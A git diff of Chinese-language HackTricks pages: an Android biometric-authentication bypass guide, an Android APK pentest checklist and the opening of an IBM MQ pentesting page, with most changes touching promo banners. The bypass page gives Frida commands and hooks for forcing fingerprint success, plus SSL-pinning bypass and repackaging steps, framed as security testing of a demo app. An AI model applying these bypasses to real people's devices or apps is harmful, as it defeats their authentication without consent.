* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub库提交PR分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,21 +1,23 @@
|
|||
# Bypass Biometric Authentication (Android)
|
||||
# 绕过生物识别认证 (Android)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要看到您的**公司在HackTricks中做广告**吗? 或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或[**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks)**和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)**提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **方法1 – 无需使用加密对象绕过**
|
||||
|
||||
重点在于_onAuthenticationSucceeded_回调,在认证过程中至关重要。WithSecure的研究人员开发了一个[Frida脚本](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js),可以绕过_onAuthenticationSucceeded(...)中的空CrytoObject_。该脚本在方法调用时强制自动绕过指纹认证。以下是一个简化的代码片段,演示了在Android指纹上下文中的绕过,完整应用程序可在[GitHub](https://github.com/St3v3nsS/InsecureBanking)上找到。
|
||||
## **方法 1 – 无加密对象使用的绕过**
|
||||
|
||||
这里的重点是 *onAuthenticationSucceeded* 回调,它在认证过程中至关重要。WithSecure 的研究人员开发了一个 [Frida 脚本](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass.js),使得可以绕过 *onAuthenticationSucceeded(...)* 中的 NULL *CryptoObject*。该脚本在方法调用时强制自动绕过指纹认证。下面是一个简化的代码片段,演示了在 Android 指纹上下文中的绕过,完整应用程序可在 [GitHub](https://github.com/St3v3nsS/InsecureBanking) 上获取。
|
||||
```javascript
|
||||
biometricPrompt = new BiometricPrompt(this, executor, new BiometricPrompt.AuthenticationCallback() {
|
||||
@Override
|
||||
|
@ -24,25 +26,19 @@ Toast.makeText(MainActivity.this,"Success",Toast.LENGTH_LONG).show();
|
|||
}
|
||||
});
|
||||
```
|
||||
|
||||
运行Frida脚本的命令:
|
||||
|
||||
运行 Frida 脚本的命令:
|
||||
```bash
|
||||
frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-bypass.js
|
||||
```
|
||||
## **方法 2 – 异常处理方法**
|
||||
|
||||
## **方法2 – 异常处理方法**
|
||||
|
||||
另一个由WithSecure开发的[Frida脚本](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js)解决了绕过不安全的加密对象使用的问题。该脚本调用_onAuthenticationSucceeded_时使用一个未经指纹授权的_CryptoObject_。如果应用程序尝试使用不同的密码对象,将触发异常。该脚本准备调用_onAuthenticationSucceeded_并处理\_Cipher\_类中的_javax.crypto.IllegalBlockSizeException_,确保应用程序使用的后续对象使用新密钥加密。
|
||||
|
||||
运行Frida脚本的命令:
|
||||
另一个 [Frida 脚本](https://github.com/WithSecureLABS/android-keystore-audit/blob/master/frida-scripts/fingerprint-bypass-via-exception-handling.js) 来自 WithSecure,旨在绕过不安全的加密对象使用。该脚本调用 *onAuthenticationSucceeded*,并使用未通过指纹授权的 *CryptoObject*。如果应用程序尝试使用不同的密码对象,将会触发异常。该脚本准备调用 *onAuthenticationSucceeded* 并处理 _Cipher_ 类中的 *javax.crypto.IllegalBlockSizeException*,确保应用程序后续使用的对象使用新密钥进行加密。
|
||||
|
||||
运行 Frida 脚本的命令:
|
||||
```bash
|
||||
frida -U -f com.generic.insecurebankingfingerprint --no-pause -l fingerprint-bypass-via-exception-handling.js
|
||||
```
|
||||
|
||||
在达到指纹屏幕并启动`authenticate()`时,在Frida控制台中键入`bypass()`以激活绕过:
|
||||
|
||||
在到达指纹屏幕并启动 `authenticate()` 时,在 Frida 控制台中输入 `bypass()` 以激活绕过:
|
||||
```
|
||||
Spawning com.generic.insecurebankingfingerprint...
|
||||
[Android Emulator 5554::com.generic.insecurebankingfingerprint]-> Hooking BiometricPrompt.authenticate()...
|
||||
|
@ -50,35 +46,46 @@ Hooking BiometricPrompt.authenticate2()...
|
|||
Hooking FingerprintManager.authenticate()...
|
||||
[Android Emulator 5554::com.generic.insecurebankingfingerprint]-> bypass()
|
||||
```
|
||||
## **方法 3 – 插桩框架**
|
||||
|
||||
## **方法 3 – 仪器化框架**
|
||||
插桩框架如 Xposed 或 Frida 可用于在运行时钩入应用程序方法。对于指纹认证,这些框架可以:
|
||||
|
||||
仪器化框架如Xposed或Frida可用于在运行时钩入应用程序方法。对于指纹认证,这些框架可以:
|
||||
|
||||
1. **模拟认证回调**:通过钩入`BiometricPrompt.AuthenticationCallback`的`onAuthenticationSucceeded`、`onAuthenticationFailed`或`onAuthenticationError`方法,您可以控制指纹认证过程的结果。
|
||||
2. **绕过SSL Pinning**:这允许攻击者拦截和修改客户端与服务器之间的流量,可能改变认证过程或窃取敏感数据。
|
||||
|
||||
Frida的示例命令:
|
||||
1. **模拟认证回调**:通过钩入 `BiometricPrompt.AuthenticationCallback` 的 `onAuthenticationSucceeded`、`onAuthenticationFailed` 或 `onAuthenticationError` 方法,您可以控制指纹认证过程的结果。
|
||||
2. **绕过 SSL 钉扎**:这允许攻击者拦截并修改客户端与服务器之间的流量,可能会改变认证过程或窃取敏感数据。
|
||||
|
||||
Frida 的示例命令:
|
||||
```bash
|
||||
frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
|
||||
```
|
||||
## **方法 4 – 逆向工程与代码修改**
|
||||
|
||||
## **方法 4 – 逆向工程 & 代码修改**
|
||||
|
||||
类似 `APKTool`、`dex2jar` 和 `JD-GUI` 的逆向工程工具可用于反编译 Android 应用程序,阅读其源代码,并了解其身份验证机制。一般步骤包括:
|
||||
逆向工程工具如 `APKTool`、`dex2jar` 和 `JD-GUI` 可用于反编译 Android 应用程序,阅读其源代码,并理解其身份验证机制。步骤通常包括:
|
||||
|
||||
1. **反编译 APK**:将 APK 文件转换为更易读的格式(如 Java 代码)。
|
||||
2. **分析代码**:查找指纹身份验证的实现,并识别潜在的弱点(如备用机制或不正确的验证检查)。
|
||||
3. **重新编译 APK**:在修改代码以绕过指纹身份验证后,重新编译、签名并安装应用程序到设备进行测试。
|
||||
2. **分析代码**:查找指纹身份验证的实现,并识别潜在的弱点(如后备机制或不当的验证检查)。
|
||||
3. **重新编译 APK**:在修改代码以绕过指纹身份验证后,应用程序被重新编译、签名并安装到设备上进行测试。
|
||||
|
||||
## **方法 5 – 使用自定义身份验证工具**
|
||||
|
||||
有专门设计用于测试和绕过身份验证机制的工具和脚本。例如:
|
||||
有专门的工具和脚本设计用于测试和绕过身份验证机制。例如:
|
||||
|
||||
1. **MAGISK 模块**:MAGISK 是一款用于 Android 的工具,允许用户对其设备进行 root,并添加可修改或欺骗硬件级信息(包括指纹)的模块。
|
||||
2. **自定义脚本**:可以编写脚本与 Android 调试桥(ADB)交互,或直接与应用程序后端交互以模拟或绕过指纹身份验证。
|
||||
|
||||
## 参考资料
|
||||
1. **MAGISK 模块**:MAGISK 是一个 Android 工具,允许用户获取设备的 root 权限并添加可以修改或伪造硬件级信息(包括指纹)的模块。
|
||||
2. **自定义脚本**:可以编写脚本与 Android 调试桥(ADB)或直接与应用程序的后端交互,以模拟或绕过指纹身份验证。
|
||||
|
||||
## 参考文献
|
||||
* [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# Android APK Checklist
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来**分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
|
@ -20,59 +23,59 @@
|
|||
|
||||
***
|
||||
|
||||
### [学习Android基础知识](android-app-pentesting/#2-android-application-fundamentals)
|
||||
### [学习 Android 基础](android-app-pentesting/#2-android-application-fundamentals)
|
||||
|
||||
* [ ] [基础知识](android-app-pentesting/#fundamentals-review)
|
||||
* [ ] [Dalvik和Smali](android-app-pentesting/#dalvik--smali)
|
||||
* [ ] [Dalvik & Smali](android-app-pentesting/#dalvik--smali)
|
||||
* [ ] [入口点](android-app-pentesting/#application-entry-points)
|
||||
* [ ] [活动](android-app-pentesting/#launcher-activity)
|
||||
* [ ] [URL方案](android-app-pentesting/#url-schemes)
|
||||
* [ ] [URL 方案](android-app-pentesting/#url-schemes)
|
||||
* [ ] [内容提供者](android-app-pentesting/#services)
|
||||
* [ ] [服务](android-app-pentesting/#services-1)
|
||||
* [ ] [广播接收器](android-app-pentesting/#broadcast-receivers)
|
||||
* [ ] [意图](android-app-pentesting/#intents)
|
||||
* [ ] [意图过滤器](android-app-pentesting/#intent-filter)
|
||||
* [ ] [其他组件](android-app-pentesting/#other-app-components)
|
||||
* [ ] 如何使用ADB](android-app-pentesting/#adb-android-debug-bridge)
|
||||
* [ ] 如何修改Smali](android-app-pentesting/#smali)
|
||||
* [ ] [如何使用 ADB](android-app-pentesting/#adb-android-debug-bridge)
|
||||
* [ ] [如何修改 Smali](android-app-pentesting/#smali)
|
||||
|
||||
### [静态分析](android-app-pentesting/#static-analysis)
|
||||
|
||||
* [ ] 检查是否使用[混淆](android-checklist.md#some-obfuscation-deobfuscation-information),检查是否注意到手机是否已root,是否正在使用模拟器以及反篡改检查。[阅读此处获取更多信息](android-app-pentesting/#other-checks)。
|
||||
* [ ] 敏感应用程序(如银行应用)应检查手机是否已root,并应相应地采取行动。
|
||||
* [ ] 搜索[有趣的字符串](android-app-pentesting/#looking-for-interesting-info)(密码、URL、API、加密、后门、令牌、蓝牙uuid等)。
|
||||
* [ ] 特别关注[firebase ](android-app-pentesting/#firebase)API。
|
||||
* [ ] [阅读清单:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] 检查应用是否处于调试模式,并尝试“利用”它
|
||||
* [ ] 检查APK是否允许备份
|
||||
* [ ] 检查是否使用了 [混淆](android-checklist.md#some-obfuscation-deobfuscation-information),检查手机是否已被 root,是否使用了模拟器以及反篡改检查。[阅读更多信息](android-app-pentesting/#other-checks)。
|
||||
* [ ] 敏感应用(如银行应用)应检查手机是否已被 root,并应采取相应措施。
|
||||
* [ ] 搜索 [有趣的字符串](android-app-pentesting/#looking-for-interesting-info)(密码、URL、API、加密、后门、令牌、蓝牙 UUID...)。
|
||||
* [ ] 特别注意 [firebase](android-app-pentesting/#firebase) API。
|
||||
* [ ] [阅读清单:](android-app-pentesting/#basic-understanding-of-the-application-manifest-xml)
|
||||
* [ ] 检查应用是否处于调试模式并尝试“利用”它
|
||||
* [ ] 检查 APK 是否允许备份
|
||||
* [ ] 导出的活动
|
||||
* [ ] 内容提供者
|
||||
* [ ] 暴露的服务
|
||||
* [ ] 广播接收器
|
||||
* [ ] URL方案
|
||||
* [ ] 应用程序是否[在内部或外部不安全地保存数据](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] 是否有[硬编码的密码或保存在磁盘上的密码](android-app-pentesting/#poorkeymanagementprocesses)?应用程序是否[使用不安全的加密算法](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] 所有使用PIE标志编译的库?
|
||||
* [ ] 不要忘记有许多[静态Android分析工具](android-app-pentesting/#automatic-analysis)可以在此阶段帮助您很多。
|
||||
* [ ] URL 方案
|
||||
* [ ] 应用是否 [不安全地保存内部或外部数据](android-app-pentesting/#insecure-data-storage)?
|
||||
* [ ] 是否有任何 [密码硬编码或保存在磁盘上](android-app-pentesting/#poorkeymanagementprocesses)? 应用是否 [使用不安全的加密算法](android-app-pentesting/#useofinsecureandordeprecatedalgorithms)?
|
||||
* [ ] 所有库是否都使用 PIE 标志编译?
|
||||
* [ ] 不要忘记有一堆 [静态 Android 分析工具](android-app-pentesting/#automatic-analysis) 可以在此阶段帮助你。
|
||||
|
||||
### [动态分析](android-app-pentesting/#dynamic-analysis)
|
||||
|
||||
* [ ] 准备环境([在线](android-app-pentesting/#online-dynamic-analysis),[本地虚拟机或物理](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] 是否存在[意外数据泄漏](android-app-pentesting/#unintended-data-leakage)(日志记录、复制/粘贴、崩溃日志)?
|
||||
* [ ] [保存在SQLite数据库中的机密信息](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] [可利用的暴露活动](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] [可利用的内容提供者](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
* [ ] [可利用的暴露服务](android-app-pentesting/#exploiting-services)?
|
||||
* [ ] [可利用的广播接收器](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
* [ ] 应用程序是否[以明文传输信息/使用弱算法](android-app-pentesting/#insufficient-transport-layer-protection)?是否可能进行中间人攻击?
|
||||
* [ ] [检查HTTP/HTTPS流量](android-app-pentesting/#inspecting-http-traffic)
|
||||
* [ ] 这一点非常重要,因为如果您可以捕获HTTP流量,您可以搜索常见的Web漏洞(Hacktricks中有大量关于Web漏洞的信息)。
|
||||
* [ ] 检查可能存在的[Android客户端注入](android-app-pentesting/#android-client-side-injections-and-others)(可能一些静态代码分析会有所帮助)
|
||||
* [ ] [Frida](android-app-pentesting/#frida):只用Frida,用它从应用程序中获取有趣的动态数据(也许一些密码...)
|
||||
* [ ] 准备环境([在线](android-app-pentesting/#online-dynamic-analysis),[本地 VM 或物理](android-app-pentesting/#local-dynamic-analysis))
|
||||
* [ ] 是否有任何 [意外的数据泄露](android-app-pentesting/#unintended-data-leakage)(日志记录、复制/粘贴、崩溃日志)?
|
||||
* [ ] [机密信息是否保存在 SQLite 数据库中](android-app-pentesting/#sqlite-dbs)?
|
||||
* [ ] [可利用的暴露活动](android-app-pentesting/#exploiting-exported-activities-authorisation-bypass)?
|
||||
* [ ] [可利用的内容提供者](android-app-pentesting/#exploiting-content-providers-accessing-and-manipulating-sensitive-information)?
|
||||
* [ ] [可利用的暴露服务](android-app-pentesting/#exploiting-services)?
|
||||
* [ ] [可利用的广播接收器](android-app-pentesting/#exploiting-broadcast-receivers)?
|
||||
* [ ] 应用是否 [以明文传输信息/使用弱算法](android-app-pentesting/#insufficient-transport-layer-protection)? 是否可能发生中间人攻击?
|
||||
* [ ] [检查 HTTP/HTTPS 流量](android-app-pentesting/#inspecting-http-traffic)
|
||||
* [ ] 这一点非常重要,因为如果你能捕获 HTTP 流量,你可以搜索常见的 Web 漏洞(Hacktricks 有很多关于 Web 漏洞的信息)。
|
||||
* [ ] 检查可能的 [Android 客户端侧注入](android-app-pentesting/#android-client-side-injections-and-others)(可能一些静态代码分析会在这里有所帮助)
|
||||
* [ ] [Frida](android-app-pentesting/#frida): 仅使用 Frida,从应用中获取有趣的动态数据(也许一些密码...)
|
||||
|
||||
### 一些混淆/反混淆信息
|
||||
### 一些混淆/去混淆信息
|
||||
|
||||
* [ ] [在此处阅读](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||
* [ ] [在这里阅读](android-app-pentesting/#obfuscating-deobfuscating-code)
|
||||
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
@ -81,14 +84,17 @@
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在HackTricks中看到您的**公司广告**? 或者想要访问**PEASS的最新版本或下载HackTricks的PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上**关注**我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来**分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,45 +1,48 @@
|
|||
# 1414 - Pentesting IBM MQ
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)。
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)。
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) **Discord群**](https://discord.gg/hRep4RUj7f) **或**[**电报群**](https://t.me/peass) **或在Twitter上关注**我🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 基本信息
|
||||
|
||||
IBM MQ是IBM的一项技术,用于管理消息队列。与其他**消息代理**技术一样,它专门用于在生产者和消费者之间接收、存储、处理和分类信息。
|
||||
IBM MQ 是一种 IBM 技术,用于管理消息队列。与其他 **消息中介** 技术一样,它专门用于接收、存储、处理和分类生产者与消费者之间的信息。
|
||||
|
||||
默认情况下,**它会暴露IBM MQ TCP端口1414**。
|
||||
有时,HTTP REST API也可以在端口**9443**上暴露。
|
||||
指标(Prometheus)也可以通过TCP端口**9157**访问。
|
||||
默认情况下,**它暴露 IBM MQ TCP 端口 1414**。
|
||||
有时,HTTP REST API 可能会暴露在端口 **9443** 上。
|
||||
指标(Prometheus)也可以通过 TCP 端口 **9157** 访问。
|
||||
|
||||
IBM MQ TCP端口1414可用于操纵消息、队列、通道等,**也可用于控制实例**。
|
||||
IBM MQ TCP 端口 1414 可用于操作消息、队列、通道……但 **也可用于控制实例**。
|
||||
|
||||
IBM提供了大量的技术文档,可在[https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq)上找到。
|
||||
IBM 提供了大量技术文档,网址为 [https://www.ibm.com/docs/en/ibm-mq](https://www.ibm.com/docs/en/ibm-mq)。
|
||||
|
||||
## 工具
|
||||
|
||||
一个建议的用于简单利用的工具是**[punch-q](https://github.com/sensepost/punch-q)**,使用Docker。该工具积极使用Python库`pymqi`。
|
||||
一个建议的易于利用的工具是 **[punch-q](https://github.com/sensepost/punch-q)**,使用 Docker。该工具积极使用 Python 库 `pymqi`。
|
||||
|
||||
对于更手动的方法,使用Python库**[pymqi](https://github.com/dsuch/pymqi)**。需要[IBM MQ依赖项](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA)。
|
||||
对于更手动的方法,可以使用 Python 库 **[pymqi](https://github.com/dsuch/pymqi)**。需要 [IBM MQ 依赖项](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc)。
|
||||
|
||||
### 安装pymqi
|
||||
### 安装 pymqi
|
||||
|
||||
需要安装和加载**IBM MQ依赖项**:
|
||||
**IBM MQ 依赖项** 需要安装和加载:
|
||||
|
||||
1. 在[https://login.ibm.com/](https://login.ibm.com/)上创建一个帐户(IBMid)。
|
||||
2. 从[https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA](https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA)下载IBM MQ库。对于Linux x86_64,使用**9.0.0.4-IBM-MQC-LinuxX64.tar.gz**。
|
||||
1. 在 [https://login.ibm.com/](https://login.ibm.com/) 创建一个帐户(IBMid)。
|
||||
